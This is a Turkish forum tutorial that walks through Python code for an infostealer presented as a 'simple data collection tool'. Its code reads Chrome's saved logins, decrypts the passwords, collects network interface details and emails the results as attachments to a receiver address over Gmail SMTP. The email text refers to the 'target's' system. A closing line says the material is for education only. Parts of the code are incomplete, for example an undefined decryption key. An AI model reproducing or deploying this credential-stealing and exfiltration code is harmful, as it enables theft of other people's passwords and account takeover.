Merhaba Değerli Forum Üyeleri,
Bu rehberde, Python ile basit veri toplama aracının temellerine kodunu ve işleyişini inceleyeceğiz. Bu araç, çeşitli sistem bilgilerini toplar ve bir e-posta adresine gönderir. Python dilinde yazılmış ve birkaç önemli modül kullanmaktadır.
Gerekli Modüller
Öncelikle, araçta kullanan modülleri tanıyalım:
* os: İşletim sistemiyle etkileşim kurar ve dosya sisteminde işlem yapar.
* sqlite3: SQLite veritabanı ile çalışır.
* base64: Verileri base64 formatında kodlar veya çözer.
* platform: İşletim sistemi ve donanım bilgilerini alır.
* subprocces: Komut satırı komutlarını çalıştırır.
* psutil: Sistem ve süreç bilgilerini toplar.
* win32crypt: Windows'ta verileri şifreler ve çözer.
* Crypto.Cipher.AES: AES şifreleme ve çözme işlemleri yapar.
* smtplib: E-posta göndermek için kullanılır.
* email.mime: E-posta mesajlarını oluşturur.
* json: JSON verilerini işler.
* shutil: Dosya ve dizin işlemleri yapar.
Ana İşlevler ve Kodlar
AES Şifreleme ve Şifre Çözme
AES Şifreleme ve şifre çözme işlemleri için kullanılan işlevler:
Python:
def generate_aes_key_iv():
key = os.urandom(32) # Rastgele AES anahtarı oluşturur
iv = os.urandom(16) # Rastgele IV oluşturur
return key, iv
def decrypt_data(encrypted_data, key):
try:
iv = encrypted_data[3:15]
encrypted_data = encrypted_data[15:-16]
cipher = AES.new(key, AES.MODE_GCM, iv)
decrypted_data = cipher.decrypt(encrypted_data).decode()
return decrypted_data
except Exception as e:
return f"Hata: {str(e)}"
* generate_aes_key_iv(): Rastgele bir AES anahtarı ve IV (initialization vector) oluşturur. Bu anahtar ve IV, verilerin güvenli bir şekilde şifrelenmesi ve çözülmesi için gereklidir.
* decrypt_data(encrypted_data, key): Şifrelenmiş veriyi verilen anahtarla çözer. Şifre çözme işlemi sırasında GCM modunu kullanarak veriyi deşifre eder.
Chrome Şifrelerini Toplama
Bu işlev, Chrome'daki kayıtlı giriş bilgilerini toplar ve şifrelenmiş veriyi çözer:
Python:
def get_chrome_login_data():
if platform.system() == 'Windows':
path = os.path.join(os.getenv('LOCALAPPDATA'), r'Google\Chrome\User Data\Default\Login Data')
# Diğer işletim sistemleri için benzer yollar belirleyebilirsiniz.
# Veritabanını geçici bir dosyaya kopyalar ve okur.
conn = sqlite3.connect("LoginData.db")
cursor = conn.cursor()
cursor.execute('SELECT origin_url, username_value, password_value FROM logins')
login_data = cursor.fetchall()
conn.close()
decrypted_data = []
#Şifre çözme anahtarını almak için.
for url, username, encrypted_password in login_data:
decrypted_password = decrypt_data(encrypted_password, decrypted_key)
decrypted_data.append({'url': url, 'username': username, 'password': decrypted_password})
os.remove("LoginData.db")
return decrypted_data
* get_chrome_login_data():
1. Chrome'un 'Login Data' dosyasını belirler ve geçici bir dosyaya kopyalar.
2. SQLite veritabanına bağlanarak kayıtlı giriş bilgilerini (URL, kullanıcı adı ve şifre) çeker.
3. Şifre çözme anahtarını kullanarak şifrelenmiş veriyi çözer ve orijinal şifreleri elde eder.
Ağ Bilgilerini Toplama
Bu işlev, ağ arayüzlerinden bilgileri toplar:
Python:
def get_network_info():
interfaces = psutil.net_if_addrs()
stats = psutil.net_if_stats()
network_info = {}
for interface, addrs in interfaces.items():
network_info[interface] = {
'Addresses': [],
'Stats': {
'isup': stats[interface].isup,
'duplex': stats[interface].duplex,
'speed': stats[interface].speed,
'mtu': stats[interface].mtu
}
}
for addr in addrs:
network_info[interface]['Addresses'].append({
'family': addr.family,
'address': addr.address,
'netmask': addr.netmask,
'broadcast': addr.broadcast,
'ptp': addr.ptp
})
return network_info
E-Posta Gönderimi
Toplanan verileri e-posta yoluyla göndermek için kullanılan işlev:
Python:
def send_email(receiver_email, subject, body, attachments=None):
try:
message = MIMEMultipart()
message['From'] = EMAIL_ADDRESS
message['To'] = receiver_email
message['Subject'] = subject
message.attach(MIMEText(body, 'plain'))
if attachments:
for filename, content in attachments.items():
part = MIMEBase('application', 'octet-stream')
part.set_payload(content)
encoders.encode_base64(part)
part.add_header('Content-Disposition', f'attachment; filename= {os.path.basename(filename)}')
message.attach(part)
with smtplib.SMTP_SSL('smtp.gmail.com', 465) as server:
server.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
server.sendmail(EMAIL_ADDRESS, receiver_email, message.as_string())
print(f"E-posta başarıyla gönderildi: {receiver_email}")
except Exception as e:
print(f"Hata oluştu: {str(e)}")
* send_email():
1. E-posta mesajını oluşturur ve gerekli bilgileri ekler.
2. Ekleri (varsa) e-posta mesajına ekler.
3. 'smtplib' modülünü kullanarak e-posta gönderimini gerçekleştirir.
Uygulamanın Çalıştırılması
Son olarak, fonksiyonları çağırarak verileri toplama ve gönderme işlemi:
Python:
if __name__ == "__main__":
try:
chrome_login_data = get_chrome_login_data()
network_info = get_network_info()
attachments = {
'chrome_login_data.txt': str(chrome_login_data).encode('utf-8'),
'network_info.txt': str(network_info).encode('utf-8')
}
receiver_email = 'Bilgilerin gönderilmesi gereken e-posta hesabo'
email_subject = 'Sistem Bilgileri ve Veriler'
email_body = 'Bu e-posta hedefinizdeki sistemin bilgileri ve verileri içermektedir.'
send_email(receiver_email, email_subject, email_body, attachments)
except Exception as e:
print(f'Hata oluştu: {str(e)}')
* '__main__' blokunda, yukarıdaki fonksiyonlar sırasıyla çağrılır:
1. Chrome giriş verileri ve ağ bilgileri toplanır.
2. Toplanan veriler ek olarak e-posta ile gönderilir.
Bu basit araç, sistemden çeşitli verileri toplayarak belirtilen e-posta adresine gönderir.
Üstteki bilgiler yalnızca eğitim amaçlıdır ve kötü niyetle kullanılmamalıdır. Kötü niyetli yazılım oluşturmak ve kullanmak yasadışıdır ve ciddi yasal sonuçlara yol açabilir. Bu bilgiler sadece kendi sisteminizde, bilgi güvenliği ve etik kurallar çerçevesinde kullanılmalıdır.
Buraya kadar bana vaktinizi ayırıp okuduğunuz için teşekkür ederim. Farklı konularda görüşmek üzere.



